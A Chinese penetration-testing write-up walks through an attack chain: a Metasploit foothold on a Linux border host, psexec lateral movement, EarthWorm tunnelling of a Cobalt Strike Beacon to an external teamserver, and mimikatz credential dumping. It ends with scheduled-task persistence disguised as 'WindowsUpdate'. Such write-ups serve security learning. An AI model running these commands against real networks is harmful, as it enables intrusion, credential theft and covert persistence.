0x00 前言
在一次内网渗透实战中,遇到了一个典型场景:边界服务器为Linux,内网Windows主机无法直接出网。原版Cobalt Strike(CS)的Beacon无法直接上线Linux主机并且懒得弄Linux插件,因此选择先用MSF拿下边界服务器,再通过MSF横向渗透到内网Windows主机,最后通过EW端口转发打通隧道,将Windows主机上线到CS,实现完整的C2控制链路。
本文记录完整的渗透思路与操作过程,希望对遇到类似场景的师傅们有所帮助。
0x01 环境说明
网络拓扑简图
text
┌─────────┐ ┌─────────────────┐ ┌─────────────────┐ │ 攻击机 │ ───▶ │ 边界Linux服务器 │ ───▶ │ 内网Windows主机 │ │ (Kali) │ │ (双网卡) │ │ (不出网) │ └─────────┘ └─────────────────┘ └─────────────────┘ 公网IP 公网IP/内网IP 内网IP
踩坑前提
| 项目 | 说明 |
|---|---|
| 边界服务器 | Linux系统,拥有公网IP,同时可访问内网 |
| 内网Windows | 无法直接访问外网,但能与边界Linux通信 |
| 核心痛点 | Linux无法直接上线原版CS → 先走MSF;Windows无法出网 → 需要端口转发 |
0x02 第一阶段:拿下边界Linux服务器
入口点
通过前期信息收集,发现边界Linux服务器存在可利用漏洞(具体入口点略)。使用MSF成功获取边界服务器的Shell权限:
text
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Sending stage (3012516 bytes) to x.x.x.x [*] Meterpreter session 1 opened
确认边界服务器为双网卡环境:
text
meterpreter > ifconfig Interface 1: eth0 (公网) Interface 2: eth1 (内网 172.16.1.0/24)
这意味着我们可以通过这台机器作为跳板机,访问内网资源。
0x03 第二阶段:内网探测与横向移动
添加内网路由
在MSF中通过边界服务器添加内网路由,使MSF能够访问内网段:
text
meterpreter > run autoroute -s 172.16.1.0/24 meterpreter > run autoroute -p Active Routing Table ==================== 172.16.1.0/24 Session 1
内网存活主机扫描
使用MSF的auxiliary模块探测内网存活主机和开放端口:
text
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.16.1.0/24 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389,80,22 msf6 auxiliary(scanner/portscan/tcp) > run
发现内网存在一台Windows主机(172.16.1.115),开放了445端口(SMB)和3389端口(RDP)。
尝试SMB横向移动
这里尝试通过MSF的SMB横向模块,使用密码喷洒或哈希传递的方式拿下内网Windows:
text
msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.1.115 msf6 exploit(windows/smb/psexec) > set SMBUser administrator msf6 exploit(windows/smb/psexec) > set SMBPass password123 msf6 exploit(windows/smb/psexec) > run
成功获取内网Windows主机的Meterpreter会话。
0x04 第三阶段:核心挑战——打通CS上线通道
问题分析
此时我们面临的核心问题是:
内网Windows主机无法直接访问外网,无法直接上线CS
Linux边界服务器可以访问外网,但Linux无法运行原版CS Beacon(原版Beacon是Windows PE格式)
解决思路
text
内网Windows ──▶ 边界Linux(端口转发)──▶ 外网CS TeamServer
核心链路:
内网Windows连接边界Linux的某个端口
边界Linux将该端口的流量转发到外网CS TeamServer的监听端口
实现Beacon的上线
EW端口转发配置
选择使用EW(EarthWorm)在边界Linux上搭建端口转发隧道。
在边界Linux上传EW工具,启动端口转发:
bash
# 在边界Linux上执行 # 将本地5000端口流量转发到外网Kali的10000端口(CS监听端口) ./ew -s lcx_tran -l 5000 -a 172.16.1.115 -p 10000
参数解释:
-s lcx_tran:指定端口转发模式-l 5000:监听本地5000端口-a 172.16.1.115:目标主机(也就是我本机Kali,但这里有个细节,后面会说)
🔥 踩坑点:转发的两种方式
在实际操作中,遇到了一个容易混淆的问题:谁监听、谁转发?
方案一:正向转发(我采用的方案)
text
内网Windows (连接) ──▶ 边界Linux:5000 ──▶ 外网Kali:10000 (CS监听)
边界Linux执行:
bash
./ew -s lcx_tran -l 5000 -a 外网Kali_IP -p 10000
-l 5000:边界Linux监听5000端口-a 外网Kali_IP -p 10000:将流量转发到外网Kali的10000端口
内网Windows的Beacon配置:
LHOST = 边界Linux的IP(172.16.1.214)
LPORT = 5000
流量走向:Beacon连接边界Linux的5000端口 → 边界Linux转发到外网Kali的10000端口 → CS TeamServer接收
方案二:反向中继
另一种方式是通过MSF的portfwd做反向端口转发:
bash
# 在MSF中执行,将跳板机的5000端口流量转发到Kali的10000端口 portfwd add -R -p 5000 -L 172.16.1.115 -l 10000
含义:内网机器访问172.16.1.214:5000→ 流量转发到Kali:10000(CS监听端口)
内网Windows的Beacon同样配置 LHOST=172.16.1.214,LPORT=5000。
生成CS Payload
在CS中创建一个监听器(Listener):
类型:Beacon HTTP/HTTPS
监听端口:10000
绑定IP:0.0.0.0(或Kali公网IP)
生成Windows可执行Beacon:
在CS中生成Payload,LHOST填写边界Linux的内网IP(172.16.1.214)
LPORT填写5000
将生成的Beacon上传到内网Windows:
bash
# 通过MSF会话上传 meterpreter > upload /path/to/beacon.exe C:\\Users\\Public\\beacon.exe
成功上线
在内网Windows中执行Beacon,流量路径如下:
text
beacon.exe (内网Win) ──▶ 172.16.1.214:5000 ──▶ 外网Kali:10000 ──▶ CS TeamServer
CS界面中成功看到内网Windows主机上线:
text
[+] Beacon online: 172.16.1.115 (WIN-xxx) User: Administrator PID: 1234
0x05 后渗透阶段
抓取密码哈希
上线CS后,可以使用CS的hashdump命令抓取Windows主机的密码哈希:
text
beacon> hashdump Administrator:500:zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::
也可以通过mimikatz模块抓取明文密码:
text
beacon> mimikatz privilege::debug beacon> mimikatz sekurlsa::logonpasswords
SMB横向扩展
通过抓到的密码哈希,可以尝试SMB横向移动到内网其他主机:
text
beacon> link 172.16.1.xxx smb
权限维持
bash
# 创建计划任务 schtasks /create /tn "WindowsUpdate" /tr C:\path\beacon.exe /sc daily /st 09:00
0x06 关键知识点总结
1. 为什么Linux不能直接上线原版CS?
原版CS的Beacon是Windows PE格式,无法在Linux上运行。虽然CS支持Linux Beacon(通过CNA插件),但在实战中,许多团队仍习惯先走MSF,再通过MSF隧道打通CS通道。
2. EW端口转发的核心逻辑
| 方向 | 命令格式 | 适用场景 |
|---|---|---|
| 正向转发 | ew -s lcx_tran -l [本地端口] -a [目标IP] -p [目标端口] | 流量单向转发,内网→外网 |
| 反向代理 | ew -s lcx_listen -l [本地端口] -a [目标IP] -p [目标端口] | 服务端反向连接,多用于内网穿透 |
3. 内网穿透的几种常见方案
| 方案 | 优点 | 缺点 |
|---|---|---|
| frp | 功能强大,支持多种协议 | 需要配置文件,较为重量级 |
| EW | 轻量级,单文件 | 功能相对单一 |
| MSF portfwd | 与MSF无缝集成 | 仅限MSF会话内使用 |
| SSH隧道 | Linux原生支持 | 依赖SSH服务 |
0x07 写在最后
本次渗透的核心思路是:分层突破 + 隧道打通。
分层突破:边界Linux → 内网Windows,每一步完成权限获取和信息收集
隧道打通:通过EW在边界Linux上搭建端口转发隧道,解决内网Windows不出网的问题
C2统一:最终将所有主机纳入CS统一控管,实现完整的攻击链路
整个过程中最大的坑点在于:内网Windows的Beacon需要将LHOST配置为边界Linux的IP,而不是直接配置外网IP。这个思维转换是打通隧道的关键。
希望本文对正在学习内网渗透的师傅们有所帮助。
免责声明:本文仅供技术学习与交流,请勿用于非法用途。所有操作请在授权环境下进行。